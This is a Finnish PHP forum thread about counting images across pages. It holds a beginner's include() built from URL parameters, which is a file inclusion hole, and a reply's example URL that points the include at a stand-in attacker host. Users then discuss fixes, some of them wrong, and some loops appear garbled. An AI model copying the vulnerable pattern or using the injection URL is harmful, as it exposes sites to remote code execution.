count() kysymys

Eli count-funktion avulla saa tulostettua taulukon alkioiden lukumäärän tähän tyyliin:

$taulukko = array("kuva.jpg","kuva2.jpg","kuva3.jpg");

$lukumaara = count($taulukko);

echo $lukumaara

Mutta entä jos haluan tulostaa $taulukon alkioiden lukumäärän eri sivulle kuin millä taulukko on? Miten saan kerrottua tälle koodille, että $taulukko sijaitsee esim. sivulla, jonka osoite on http://www.jokusivu.fi/index.php?cat=5&sivu=kuvia ?

Eli lyhyesti:

$lukumaara = count( MITÄ TÄHÄN TULEE? );
15419
Äänestä

Muut lukivat myös

Vastaukset 15

Vanhimmat

taulukko alustetaan index.php - tiedostossa, tulostat sen myös samassa tiedostossa olevalla koodilla.

Tiedostohan on sama (index.php) vaikka parametrit vaihtuvat (cat=5&sivu=kuvia, cat=1&sivu=etusivu, jne).

Äänestä
  • eli jos kuvat lasketaan sivulla index.php ja sitten tämä tieto pitäisi siirtää toiselle sivulle, niin anna se toiselle sivulle parametrinä.

    "index.php?cat=1&sivu=etusivu"

    $lukumaara = count($taulukko);

    header("Location: http://www.omasivu.com/index.php?cat=5&sivu=kuvia&lukumaara=$lukumaara");

    ja toisella sivulla kaivat vain tuon parametrin itsellesi

    $lkm = $_GET['lukumaara'];

    Äänestä

  • keksa kirjoitti:

    eli jos kuvat lasketaan sivulla index.php ja sitten tämä tieto pitäisi siirtää toiselle sivulle, niin anna se toiselle sivulle parametrinä.

    "index.php?cat=1&sivu=etusivu"

    $lukumaara = count($taulukko);

    header("Location: http://www.omasivu.com/index.php?cat=5&sivu=kuvia&lukumaara=$lukumaara");

    ja toisella sivulla kaivat vain tuon parametrin itsellesi

    $lkm = $_GET['lukumaara'];

    Kiitokset, mutta mulle näköjään pitää vääntää rautalangasta... :( Äsken vähän yksinkertaistin sivuani, nyt kerron tarkemmin.

    Eli sivulla index.php sivulla on mm. seuraavat koodit:

    if (file_exists($cat."/".$sivu.".php")) {
    include($cat."/".$sivu.".php");
    } else {
    echo("ERROR! Sivua ei löytynyt.");
    }

    chdir("kuvat");

    $kuvat = glob($sivu . '*.jpg');

    $lukumaara = count($kuvat);

    for ($i = 0; $i < count($kuvat); $i ) {
    echo ('
    ' .$kuvateksti[$i]. '');
    }


    Sitten pitää saada sivulle www.omasivu.com/index.php?cat=1&sivu=etusivu tulostettua se kuvamäärä, joka on sivulla www.omasivu.com/index.php?cat=5&sivu=kuvia.

    Eli toisinsanoen kuvamäärä pitäisi tulostaa cat1:n tiedostoon etusivu.php.

    SIIS: Mitä tulee tiedostoon index.php ja mitä tiedostoon etusivu.php?

    Äänestä

  • PHP-novi kirjoitti:

    Kiitokset, mutta mulle näköjään pitää vääntää rautalangasta... :( Äsken vähän yksinkertaistin sivuani, nyt kerron tarkemmin.

    Eli sivulla index.php sivulla on mm. seuraavat koodit:

    if (file_exists($cat."/".$sivu.".php")) {
    include($cat."/".$sivu.".php");
    } else {
    echo("ERROR! Sivua ei löytynyt.");
    }

    chdir("kuvat");

    $kuvat = glob($sivu . '*.jpg');

    $lukumaara = count($kuvat);

    for ($i = 0; $i < count($kuvat); $i ) {
    echo ('
    ' .$kuvateksti[$i]. '');
    }


    Sitten pitää saada sivulle www.omasivu.com/index.php?cat=1&sivu=etusivu tulostettua se kuvamäärä, joka on sivulla www.omasivu.com/index.php?cat=5&sivu=kuvia.

    Eli toisinsanoen kuvamäärä pitäisi tulostaa cat1:n tiedostoon etusivu.php.

    SIIS: Mitä tulee tiedostoon index.php ja mitä tiedostoon etusivu.php?

    Ja mitä tuohon sinun scriptiisi tulee, niin http://www.omasivu.com/index.php?cat=http://krakkeri.com&sivu=testi

    Ja sitten krakkeri.comissa oleva testi.php näyttää tältä



    Tuo scripti siis ajetaan sinun oikeuksillasi. Varmaan muistat kun Ylen sivut krakkeröitiin? Se tehtiin juurikin tuommosen aukon kautta.

    Äänestä

  • fefefe kirjoitti:

    Ja mitä tuohon sinun scriptiisi tulee, niin http://www.omasivu.com/index.php?cat=http://krakkeri.com&sivu=testi

    Ja sitten krakkeri.comissa oleva testi.php näyttää tältä



    Tuo scripti siis ajetaan sinun oikeuksillasi. Varmaan muistat kun Ylen sivut krakkeröitiin? Se tehtiin juurikin tuommosen aukon kautta.

    Ohhoh, vai että noin helposti joku pääsee krakkeroimaan sivujani. Hyvä, että toit tuon esille.

    No nyt on sitten kaksi ongelmaa: se, jonka kysyin edellisessä viestissä ja se, miten tuollainen aukko paikataan.

    Molempiin kaivattaisiin siis vastausta.

    Äänestä

  • PHP-novi kirjoitti:

    Ohhoh, vai että noin helposti joku pääsee krakkeroimaan sivujani. Hyvä, että toit tuon esille.

    No nyt on sitten kaksi ongelmaa: se, jonka kysyin edellisessä viestissä ja se, miten tuollainen aukko paikataan.

    Molempiin kaivattaisiin siis vastausta.

    Löysin tällaista:

    "Hyvin hyödyllinen tietoturva-aukkoja poistava asetus on – mikäli vain mahdollista - laittaa php.ini –tiedostossa register_globals asetus off-tilaan. "

    Ratkaiseeko tämä tietoturva-ongelmani? Onko siitä jotain haittaa, jos tuon laittaa off-tilaan?

    Äänestä

  • PHP-novi kirjoitti:

    Ohhoh, vai että noin helposti joku pääsee krakkeroimaan sivujani. Hyvä, että toit tuon esille.

    No nyt on sitten kaksi ongelmaa: se, jonka kysyin edellisessä viestissä ja se, miten tuollainen aukko paikataan.

    Molempiin kaivattaisiin siis vastausta.

    Jos sivun olemassa olo tarkistetaan paikallisesti ensiksi file_exists()-funktiolla, ei sivua voi hakkeroida suoraan osoiteriviltä. Ainakaan ihan noin helposti.

    file_exists()-funktio pitää huolen siitä, että tiedosto on paikallisella palvelimella, joten osoiteriviltä muilutusyritys ohjautuu if-lauseen else-puolelle (tässä tapauksessa tuonne: echo("ERROR! Sivua ei löytynyt.");)

    Äänestä

  • PHP-novi kirjoitti:

    Kiitokset, mutta mulle näköjään pitää vääntää rautalangasta... :( Äsken vähän yksinkertaistin sivuani, nyt kerron tarkemmin.

    Eli sivulla index.php sivulla on mm. seuraavat koodit:

    if (file_exists($cat."/".$sivu.".php")) {
    include($cat."/".$sivu.".php");
    } else {
    echo("ERROR! Sivua ei löytynyt.");
    }

    chdir("kuvat");

    $kuvat = glob($sivu . '*.jpg');

    $lukumaara = count($kuvat);

    for ($i = 0; $i < count($kuvat); $i ) {
    echo ('
    ' .$kuvateksti[$i]. '');
    }


    Sitten pitää saada sivulle www.omasivu.com/index.php?cat=1&sivu=etusivu tulostettua se kuvamäärä, joka on sivulla www.omasivu.com/index.php?cat=5&sivu=kuvia.

    Eli toisinsanoen kuvamäärä pitäisi tulostaa cat1:n tiedostoon etusivu.php.

    SIIS: Mitä tulee tiedostoon index.php ja mitä tiedostoon etusivu.php?

    sitten sen sisällä käytetään include-komentoa lisäämään siihen esimerkiksi etusivu.php koodi.

    voisit siis aina tehdä tuon countin index.php-tiedostossa ja tulostaa vaikka etusivu.php:n sisällä.

    jos index.php näyttää tältä



    ja etusivu.php näyttää tältä

    echo "hiihaa vaan sulle" . $mjono;


    niin lopputulos on



    voit siis laskea luvun index.php sisällä, koska index.php on oikeasti ainut sivu jota ajetaan. muut sivut lisätään index.php sisälle

    Äänestä

  • PHP-miäs kirjoitti:

    Jos sivun olemassa olo tarkistetaan paikallisesti ensiksi file_exists()-funktiolla, ei sivua voi hakkeroida suoraan osoiteriviltä. Ainakaan ihan noin helposti.

    file_exists()-funktio pitää huolen siitä, että tiedosto on paikallisella palvelimella, joten osoiteriviltä muilutusyritys ohjautuu if-lauseen else-puolelle (tässä tapauksessa tuonne: echo("ERROR! Sivua ei löytynyt.");)

    Juu oikeessa olet, muistin että tuo file_exists toimii URL kans, mut näin ei ollukkaan.

    Mutta ei tuo silti ole turvallinen, tuolla kun pystyy includettamaan kaikki tiedostot mitä sinulla webhotellissa on, myös netin ulkopuolisetkin, ohittaa myös .htaccess suojauksenkin. Sekä jos palvelimella on tietoturva huonosti hoidettu, niin toinen käyttäjä voi omalta tilaltaan laittaa tuon testi.php jutun. Tosin tuolloin ei edes tartte noin kikkaillakkaan.


    "Hyvin hyödyllinen tietoturva-aukkoja poistava asetus on – mikäli vain mahdollista - laittaa php.ini –tiedostossa register_globals asetus off-tilaan. "

    Ei tuo tuohon ongelmaan vaikuta. http://www.omasivu.com/index.php?sivu=testi

    register_globals = on
    echo $sivu; // testi
    echo $_GET['sivu']; // testi

    register_globals = off
    echo $sivu; // ei tulosta mitään koska $sivu muuttuja tyhjä
    echo $_GET['sivu']; // testi

    Ja muista, että usealla webhotellilla register_globals = off ja PHP6 myötä tuo asetus poistuu kokonaan joten silloin on pakko käyttää noita superglobaaleja $_GET, $_POST jne... kun halutaan käyttäjän syötteitä.

    Mikäli noita et käytä niin scriptisi eivät toimi PHP6 ja register_globals = off asetuksella

    Äänestä

  • fefefe kirjoitti:

    Juu oikeessa olet, muistin että tuo file_exists toimii URL kans, mut näin ei ollukkaan.

    Mutta ei tuo silti ole turvallinen, tuolla kun pystyy includettamaan kaikki tiedostot mitä sinulla webhotellissa on, myös netin ulkopuolisetkin, ohittaa myös .htaccess suojauksenkin. Sekä jos palvelimella on tietoturva huonosti hoidettu, niin toinen käyttäjä voi omalta tilaltaan laittaa tuon testi.php jutun. Tosin tuolloin ei edes tartte noin kikkaillakkaan.


    "Hyvin hyödyllinen tietoturva-aukkoja poistava asetus on – mikäli vain mahdollista - laittaa php.ini –tiedostossa register_globals asetus off-tilaan. "

    Ei tuo tuohon ongelmaan vaikuta. http://www.omasivu.com/index.php?sivu=testi

    register_globals = on
    echo $sivu; // testi
    echo $_GET['sivu']; // testi

    register_globals = off
    echo $sivu; // ei tulosta mitään koska $sivu muuttuja tyhjä
    echo $_GET['sivu']; // testi

    Ja muista, että usealla webhotellilla register_globals = off ja PHP6 myötä tuo asetus poistuu kokonaan joten silloin on pakko käyttää noita superglobaaleja $_GET, $_POST jne... kun halutaan käyttäjän syötteitä.

    Mikäli noita et käytä niin scriptisi eivät toimi PHP6 ja register_globals = off asetuksella

    Hehee muistinkin sittenkin melkein oikein, katsos http://fi.php.net/manual/fi/wrappers.ftp.php

    Siis http ei toimi, mut ftp toimii, joten tuossa on aukko.

    Äänestä

  • keksa kirjoitti:

    sitten sen sisällä käytetään include-komentoa lisäämään siihen esimerkiksi etusivu.php koodi.

    voisit siis aina tehdä tuon countin index.php-tiedostossa ja tulostaa vaikka etusivu.php:n sisällä.

    jos index.php näyttää tältä



    ja etusivu.php näyttää tältä

    echo "hiihaa vaan sulle" . $mjono;


    niin lopputulos on



    voit siis laskea luvun index.php sisällä, koska index.php on oikeasti ainut sivu jota ajetaan. muut sivut lisätään index.php sisälle

    Niinpä, voisipa noin tehdä, mutta ei se toimi. Syy: Silloin count-funktio laskee sivulla etusivu.php olevien kuvien määrän, joka siis on nolla.

    Äänestä

  • PHP-novi kirjoitti:

    Niinpä, voisipa noin tehdä, mutta ei se toimi. Syy: Silloin count-funktio laskee sivulla etusivu.php olevien kuvien määrän, joka siis on nolla.

    No sitten voi tehdä jotain purkkavirityksiä tai tehdä suuremman rakenteellisen muutoksen.

    Koko sivuston rakenne määritellään taulukossa. Koodi on suuntaa-antava, ei välttämättä ihan virheetön.


    $rakenne = array(
    array("sivu1","kansio1","tiedosto1.php","Kuvia lehmistä."),
    array("sivu2","kansio2","tiedosto2.php","Lisää samaa."),
    array("sivu3","kansio3","tiedosto3.php","Sitä täälläkin.")
    );



    Tuossa $rakenne on siis taulukko, jonka sisällä on pienempää 3 taulukkoa. Tuota sitten käytät vaikka tähän tapaan:



    $avaa = $_REQUEST["avaa"];

    if ($avaa) {

       for ($i = 0; $i < count($rakenne); $i ) {
       
          if ($avaa == $rakenne[$i][0]) {
             include($rakenne[$i][2]);
             $sivuloytyi = TRUE;
          }
          
       }

    }

    if (!$sivuloytyi) echo 'Sivua ei löytynyt.';




    Näin osoite rivillä ei tarvitse käsitellä ollenkaan tiedoston nimiä joihin voisi muiluttaa killereitä. Tiedoston nimen tilalla käytetään sisäisen taulukon ensimmäisessä solussa määriteltyä nimeä ja saman taulukon kolmannessa solussa määritelty tiedoston nimi, jossa varsinainen sisältö on. Sitten includetat vain ja ainoastaan $rakenne-taulussa olevia tiedostoja. Tuo peittää myös tiedoston nimet käyttäjälle, joka parantaa suojaa entisestään.




    Sitten linkkilista:

    if (!$avaa) {
       for ($i = 0; $i < count($rakenne); $i ) {
       
          echo '' . $rakenne[$i][3] . '';
          
          chdir($rakenne[$i][1]);
          $kuvat = glob("*.jpg");
          $monta = count($kuvat);
          chdir("..");
          
          echo '(' . $monta . ' kuvaa)';
       
       }
    }


    Tuon lopputuloksena pitäisi olla jotain tämän näköistä:

    Kuvia lehmistä. (82 kuvaa)
    Lisää samaa. (153 kuvaa)
    Sitä täälläkin. (2385 kuvaa)

    Ja jokainen noista on linkki, joka avaa taulukon sisällä määritellyn sivun.

    Äänestä

  • php-miäs kirjoitti:

    No sitten voi tehdä jotain purkkavirityksiä tai tehdä suuremman rakenteellisen muutoksen.

    Koko sivuston rakenne määritellään taulukossa. Koodi on suuntaa-antava, ei välttämättä ihan virheetön.


    $rakenne = array(
    array("sivu1","kansio1","tiedosto1.php","Kuvia lehmistä."),
    array("sivu2","kansio2","tiedosto2.php","Lisää samaa."),
    array("sivu3","kansio3","tiedosto3.php","Sitä täälläkin.")
    );



    Tuossa $rakenne on siis taulukko, jonka sisällä on pienempää 3 taulukkoa. Tuota sitten käytät vaikka tähän tapaan:



    $avaa = $_REQUEST["avaa"];

    if ($avaa) {

       for ($i = 0; $i < count($rakenne); $i ) {
       
          if ($avaa == $rakenne[$i][0]) {
             include($rakenne[$i][2]);
             $sivuloytyi = TRUE;
          }
          
       }

    }

    if (!$sivuloytyi) echo 'Sivua ei löytynyt.';




    Näin osoite rivillä ei tarvitse käsitellä ollenkaan tiedoston nimiä joihin voisi muiluttaa killereitä. Tiedoston nimen tilalla käytetään sisäisen taulukon ensimmäisessä solussa määriteltyä nimeä ja saman taulukon kolmannessa solussa määritelty tiedoston nimi, jossa varsinainen sisältö on. Sitten includetat vain ja ainoastaan $rakenne-taulussa olevia tiedostoja. Tuo peittää myös tiedoston nimet käyttäjälle, joka parantaa suojaa entisestään.




    Sitten linkkilista:

    if (!$avaa) {
       for ($i = 0; $i < count($rakenne); $i ) {
       
          echo '' . $rakenne[$i][3] . '';
          
          chdir($rakenne[$i][1]);
          $kuvat = glob("*.jpg");
          $monta = count($kuvat);
          chdir("..");
          
          echo '(' . $monta . ' kuvaa)';
       
       }
    }


    Tuon lopputuloksena pitäisi olla jotain tämän näköistä:

    Kuvia lehmistä. (82 kuvaa)
    Lisää samaa. (153 kuvaa)
    Sitä täälläkin. (2385 kuvaa)

    Ja jokainen noista on linkki, joka avaa taulukon sisällä määritellyn sivun.

    Niin nuo kuvien määräthän kannattaa tallentaa vaik tekstitiedostoon josta ne saa helposti ja nopeesti. Hidasta ja turhaa joka ikinen sivulataus kerta laskea nuo tiedot uudestaan. Tosin jos mahdollista niin kannattaa käyttää tietokantaa, niin tämmöiset asiat on huomattavasti helpompa ja nopeempa tehdä.


    Ja mitä tuohon koodiisi tulee, niin alusta muuttujat, ja true/false pienellä.

    Ja tuo taulukko kannattaa tehdä toisin, ja mikäli taulukko joudutaan käymään läpi, niin looppien tilalta kannattaa käyttää PHP:n omia functioita, ovat näes tehokkaampia.

    Tuon taulukon voisi tehdä vaik näin




    chdir on työhakemisto, eikä sitä ole tarkoitettu tuohon jatkuvaan vaihtamiseen, joten glob kutsuun se hakemisto.


    "Tuo peittää myös tiedoston nimet käyttäjälle, joka parantaa suojaa entisestään"

    Tuon hyöty on aika olematon haittoihin nähden. Kohta sinulla on kymmeniä tiedostoja eri nimellä kuin itse scriptissä niitä kutsut. Jos tuommosen haluaa tehdä niin ennemmin lisää vaikka loppuun jotain tekstiä. Tällöin taulukossa ei tarvitse erikseen tiedoston nimeä luetella.

    Tuossa pari pientä asiaa mitkä kannattaisi tehdä toisin.

    Äänestä

  • fefefe kirjoitti:

    Niin nuo kuvien määräthän kannattaa tallentaa vaik tekstitiedostoon josta ne saa helposti ja nopeesti. Hidasta ja turhaa joka ikinen sivulataus kerta laskea nuo tiedot uudestaan. Tosin jos mahdollista niin kannattaa käyttää tietokantaa, niin tämmöiset asiat on huomattavasti helpompa ja nopeempa tehdä.


    Ja mitä tuohon koodiisi tulee, niin alusta muuttujat, ja true/false pienellä.

    Ja tuo taulukko kannattaa tehdä toisin, ja mikäli taulukko joudutaan käymään läpi, niin looppien tilalta kannattaa käyttää PHP:n omia functioita, ovat näes tehokkaampia.

    Tuon taulukon voisi tehdä vaik näin




    chdir on työhakemisto, eikä sitä ole tarkoitettu tuohon jatkuvaan vaihtamiseen, joten glob kutsuun se hakemisto.


    "Tuo peittää myös tiedoston nimet käyttäjälle, joka parantaa suojaa entisestään"

    Tuon hyöty on aika olematon haittoihin nähden. Kohta sinulla on kymmeniä tiedostoja eri nimellä kuin itse scriptissä niitä kutsut. Jos tuommosen haluaa tehdä niin ennemmin lisää vaikka loppuun jotain tekstiä. Tällöin taulukossa ei tarvitse erikseen tiedoston nimeä luetella.

    Tuossa pari pientä asiaa mitkä kannattaisi tehdä toisin.

    Eipä ollutkaan niin yksinkertainen tuo count() kysymys, jonka aluksi esitin. Täytyypä ruveta tekemään vähän monimutkaisempaa systeemiä, ei tässä muukaan auta. Kyselen joskus lisää, kunhan saan homman aloitettua (nyt ei ole aikaa).

    Kiitokset kuitenkin kaikille vastanneille.

    Äänestä

test

Äänestä

Kommentoi aloitusta


PHP-novi kirjoitti:

Eli count-funktion avulla saa tulostettua taulukon alkioiden lukumäärän tähän tyyliin:

$taulukko = array("kuva.jpg","kuva2.jpg","kuva3.jpg");

$lukumaara = count($taulukko);

echo $lukumaara

Mutta entä jos haluan tulostaa $taulukon alkioiden lukumäärän eri sivulle kuin millä taulukko on? Miten saan kerrottua tälle koodille, että $taulukko sijaitsee esim. sivulla, jonka osoite on http://www.jokusivu.fi/index.php?cat=5&sivu=kuvia ?

Eli lyhyesti:

$lukumaara = count( MITÄ TÄHÄN TULEE? );

Anonyymi
5000

Ilmoita asiaton sisältö

  • Sisältää materiaalia, joka on loukkaavaa, herjaavaa, rasistista, uhkailevaa tai ahdistelevaa.

  • Materiaali sisältää nimiä, yhteystietoja tai muita henkilökohtaisia tietoja. Julkisuuden henkilöistä, julkisissa viroissa toimivista ihmisistä sekä yritysten vastuuhenkilöistä saa keskustella työhön liittyen. Myös yksityiselämään liittyvistä asioista voi keskustella siltä osin, kuin niistä on julkisesti kerrottu.

  • Sisältää lapsille haitallista tai heiltä kiellettyä materiaalia. Seksuaalinen sisältö on sallittua aiheeseen tarkoitetuilla palstoilla, joiden ikäraja on 18 vuotta.

  • Lainvastaista sisältöä voi olla mm. yksityiselämää loukkaavan tiedon levitys, kiihottaminen kansanryhmää vastaan, laiton uhkaaminen, alaikäisiin liittyvä seksuaalinen sisältö/grooming, petokset, identiteettivarkaudet, kunnianloukkaukset ja tekijänoikeusrikkomukset.

  • Sisältö ei liity palstan tai keskusteluketjun aiheeseen.

  • Viesti ei ole suomea tai ruotsia (pl. International Forums), se sisältää mainontaa, se sisältää tekijänoikeuksin suojattua materiaalia, se on massapostitus tai jokin muu syy.

Jaa keskustelu